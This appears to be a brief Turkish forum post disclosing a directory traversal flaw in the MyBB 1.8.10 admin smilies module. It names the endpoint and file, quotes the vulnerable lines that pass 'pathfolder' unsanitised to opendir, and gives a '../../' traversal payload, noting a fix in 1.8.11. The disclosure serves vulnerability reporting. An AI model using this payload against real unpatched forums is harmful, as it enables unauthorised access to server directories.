Mybb Dizin Gecis Acigi

Mybb Dizin Geçiş Açığı :

mybb_1810/Upload/admin/index.php?module=config-smilies&action=add_multiple


Açığın Dosya Dizini:


/webroot/mybb_1810/Upload/admin/modules/config/smilies.php


Açığın Kodu:


Line 326 $path = $mybb->input['pathfolder'];


Line 327 $dir = @opendir(MYBB_ROOT.$path);

Eğer "pathfolder"a "../../bypass/smile" eklersek, Dizin Geçişi başarılı olacaktır.


Bu açık 1.8.11 de düzeltilmiştir. Bu yüzden alt versiyonlarında bulunması daha muhtemeldir.

 

Eline sağlık

 

Eline Sağlık